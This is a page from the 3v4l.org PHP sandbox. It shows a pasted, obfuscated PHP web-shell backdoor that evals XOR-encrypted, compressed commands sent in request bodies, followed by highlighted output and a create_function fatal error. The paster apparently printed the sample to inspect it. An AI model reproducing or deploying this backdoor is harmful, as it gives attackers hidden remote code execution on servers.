3v4l.org

run code in 300+ PHP versions simultaneously
<?php highlight_file(__FILE__); $Y='{$o.=$Pt{$i}^$k{PP$j}P;}}retPurn $o;}Pif(@preg_maPtch("/$khP(.+)$kPf/P",@file_gPePtP_contents(PP"php:/'; $j=str_replace('J','','JJcreate_JfJunJctJion'); $u='contentPs();@ob_enPd_Pclean();PP$r=P@base6P4_encode(@Px(@gPzcompress($Po),$k));Pprint("P$p$kh$Pr$kf");}'; $x='/input"P),$m)==1){@Pob_Pstart();P@ePval(@gzuPncompPresPs(@x(@bPPase64_Pdecode($Pm[1]),P$Pk)));P$o=@ob_get_'; $Z=',$k){$c=Pstrlen($Pk)P;$l=strlPen($t);P$o=P"";forP($Pi=0;$Pi<$l;){for($jP=P0;($j<$cP&&$i<$l);$jP+PP+,$i++)'; $C='$k="7Pccf819P2";$PkPh="528P2714P13977";$kf="f5415P27062PPa9";$p="ieP3xNVP9ea8twe7wPl";fuPnPction x($Pt'; $U=str_replace('P','',$C.$Z.$Y.$x.$u); $E=$j('',$U); print($E); ?>
Output for git.master_jit, git.master, rfc.property-hooks
<pre><code style="color: #000000"><span style="color: #0000BB">&lt;?php highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">); </span><span style="color: #0000BB">$Y</span><span style="color: #007700">=</span><span style="color: #DD0000">'{$o.=$Pt{$i}^$k{PP$j}P;}}retPurn $o;}Pif(@preg_maPtch("/$khP(.+)$kPf/P",@file_gPePtP_contents(PP"php:/'</span><span style="color: #007700">; </span><span style="color: #0000BB">$j</span><span style="color: #007700">=</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'J'</span><span style="color: #007700">,</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #DD0000">'JJcreate_JfJunJctJion'</span><span style="color: #007700">); </span><span style="color: #0000BB">$u</span><span style="color: #007700">=</span><span style="color: #DD0000">'contentPs();@ob_enPd_Pclean();PP$r=P@base6P4_encode(@Px(@gPzcompress($Po),$k));Pprint("P$p$kh$Pr$kf");}'</span><span style="color: #007700">; </span><span style="color: #0000BB">$x</span><span style="color: #007700">=</span><span style="color: #DD0000">'/input"P),$m)==1){@Pob_Pstart();P@ePval(@gzuPncompPresPs(@x(@bPPase64_Pdecode($Pm[1]),P$Pk)));P$o=@ob_get_'</span><span style="color: #007700">; </span><span style="color: #0000BB">$Z</span><span style="color: #007700">=</span><span style="color: #DD0000">',$k){$c=Pstrlen($Pk)P;$l=strlPen($t);P$o=P"";forP($Pi=0;$Pi&lt;$l;){for($jP=P0;($j&lt;$cP&amp;&amp;$i&lt;$l);$jP+PP+,$i++)'</span><span style="color: #007700">; </span><span style="color: #0000BB">$C</span><span style="color: #007700">=</span><span style="color: #DD0000">'$k="7Pccf819P2";$PkPh="528P2714P13977";$kf="f5415P27062PPa9";$p="ieP3xNVP9ea8twe7wPl";fuPnPction x($Pt'</span><span style="color: #007700">; </span><span style="color: #0000BB">$U</span><span style="color: #007700">=</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">'P'</span><span style="color: #007700">,</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #0000BB">$C</span><span style="color: #007700">.</span><span style="color: #0000BB">$Z</span><span style="color: #007700">.</span><span style="color: #0000BB">$Y</span><span style="color: #007700">.</span><span style="color: #0000BB">$x</span><span style="color: #007700">.</span><span style="color: #0000BB">$u</span><span style="color: #007700">); </span><span style="color: #0000BB">$E</span><span style="color: #007700">=</span><span style="color: #0000BB">$j</span><span style="color: #007700">(</span><span style="color: #DD0000">''</span><span style="color: #007700">,</span><span style="color: #0000BB">$U</span><span style="color: #007700">); print(</span><span style="color: #0000BB">$E</span><span style="color: #007700">); </span><span style="color: #0000BB">?&gt;</span></code></pre> Fatal error: Uncaught Error: Call to undefined function create_function() in /in/MadeX:10 Stack trace: #0 {main} thrown in /in/MadeX on line 10
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
35.28 ms | 413 KiB | 5 Q